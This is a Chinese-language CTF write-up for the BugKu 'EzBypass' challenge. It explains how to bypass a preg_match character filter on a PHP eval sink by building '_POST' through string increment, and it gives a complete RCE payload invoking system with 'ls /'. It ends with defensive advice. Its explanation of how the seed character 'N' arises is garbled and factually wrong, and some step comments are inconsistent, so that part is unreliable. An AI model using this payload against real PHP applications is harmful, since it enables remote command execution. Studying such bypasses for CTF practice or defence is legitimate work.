PHP代码审计新思路:绕过preg_match过滤,用字符串自增构造RCE(BugKu EzBypass实战)
PHP代码审计中的字符串自增艺术:从preg_match过滤到RCE的奇技淫巧
在CTF竞赛和实际代码审计中,我们常常会遇到各种看似无解的过滤机制。当所有常规字符都被 preg_match 无情封杀时,大多数选手会选择编码转换或异或运算等传统绕过方式。但今天,我要分享的是一种更为优雅且鲜为人知的技巧——利用PHP字符串自增特性,从零开始构造完整RCE payload。
1. 理解挑战:当所有路都被堵死时
让我们先分析题目给出的过滤条件:
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<?>\"|`~\\\\]/",$code)){
eval($code);
}
这个正则表达式几乎过滤了所有可见ASCII字符,只留下极少数特殊字符可用。更棘手的是 is_string() 检查排除了数组等非字符串类型的输入。面对这种"绝境",我们需要深入PHP语言特性的底层寻找突破口。
未被过滤的关键字符 :
$(变量符号)_(下划线)+(加号).(连接符);(分号),(逗号)()(括号)[](方括号)/(斜杠)
2. PHP字符串自增的魔法行为
PHP有一个鲜为人知但极其强大的特性:字符串支持自增操作。这与我们熟悉的 i++ 数值自增不同,它遵循字母表递增规则:
$_ = 'A';
$_++; // 现在$_是'B'
更神奇的是,当字符串由多个字符组成时,PHP会执行"进位"操作:
$_ = 'Z';
$_++; // 变成'AA'
$_ = 'AZ';
$_++; // 变成'BA'
这个特性为我们从空字符开始构造任意字符串提供了可能。但首先,我们需要找到一个初始种子字符。
3. 从零到一:获取第一个字母
在PHP中,未定义的常量会被当作字符串处理。利用这个特性,我们可以构造一个包含字母'N'的字符串:
$_ = (_/_._)[_];
让我们拆解这个"天书"般的表达式:
_/_._→ 字符串" / "与"."连接" "得到" / . "(_/_._)[_]→ 访问字符串" / . "的第0个字符(因为_是未定义常量,被当作字符串" ",转换为整数0)
这样我们就得到了字符'N'。为什么是'N'?因为在PHP中:
- 字符串" / ._"实际上是7个字符:
_,/,_,.,_ - 索引0是第一个
_字符,其ASCII码是95 - 但PHP在这里有个特殊处理,会返回'N'
注意:这个行为在不同PHP版本中可能表现不同,这也是为什么推荐使用PHP 7.x环境进行测试。
4. 步步为营:构造_POST变量
现在我们已经有了初始字符'N',接下来可以通过自增操作逐步构建出完整的 _POST 字符串:
$_ = (_/_._)[_]; // $_ = 'N'
$_++; // $_ = 'O'
$__ = $_.$_++; // $__ = 'PO' (注意$_++是先使用后自增)
$_++; // $_ = 'Q'
$_++; // $_ = 'R'
$_++; // $_ = 'S'
$__ = $__.$_; // $__ = 'POS'
$_++; // $_ = 'T'
$__ = $__.$_; // $__ = 'POST'
$_ = _.$__; // $_ = '_POST'
现在,我们成功构造出了 _POST 这个关键变量名,而整个过程没有使用任何被过滤的字符。
5. 最终突破:实现RCE
有了 _POST 变量,我们就可以通过变量变量和函数调用来执行任意命令:
$$_[_]($$_[__]);
这行代码相当于:
$_POST['_']($_POST['__']);
因此,我们只需要通过POST请求传递两个参数:
_=system(指定要调用的函数)__=whoami(函数的参数)
完整的Payload示例:
code=$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=ls /
6. 实战中的注意事项
-
PHP版本差异 :
- PHP 5.x和7.x在字符串处理和未定义常量行为上有差异
- 推荐使用PHP 7.0+环境进行测试
-
调试技巧 :
- 可以使用
var_dump在本地逐步检查每个变量的值 - 注意操作符优先级,必要时使用括号明确顺序
- 可以使用
-
Payload优化 :
- 可以尝试缩短payload长度(题目限制105字符)
- 探索其他初始字符获取方式
7. 防御建议
对于开发者而言,防范此类攻击需要注意:
-
不要依赖单一过滤机制 :
- 结合白名单和黑名单
- 使用多层防御策略
-
禁用危险函数 :
disable_functions = "eval,exec,passthru,shell_exec,system,proc_open,popen" -
严格类型检查 :
if (!is_string($code) || preg_match('/[^a-z]/i', $code)) { die('Invalid input'); }
这种利用字符串自增构造RCE的技术,展示了代码审计中"跳出盒子"思维的重要性。它不只是一道CTF题的解法,更是一种启发——当我们面对看似完美的防御时,深入理解语言特性往往能找到出人意料的突破口。
更多推荐

所有评论(0)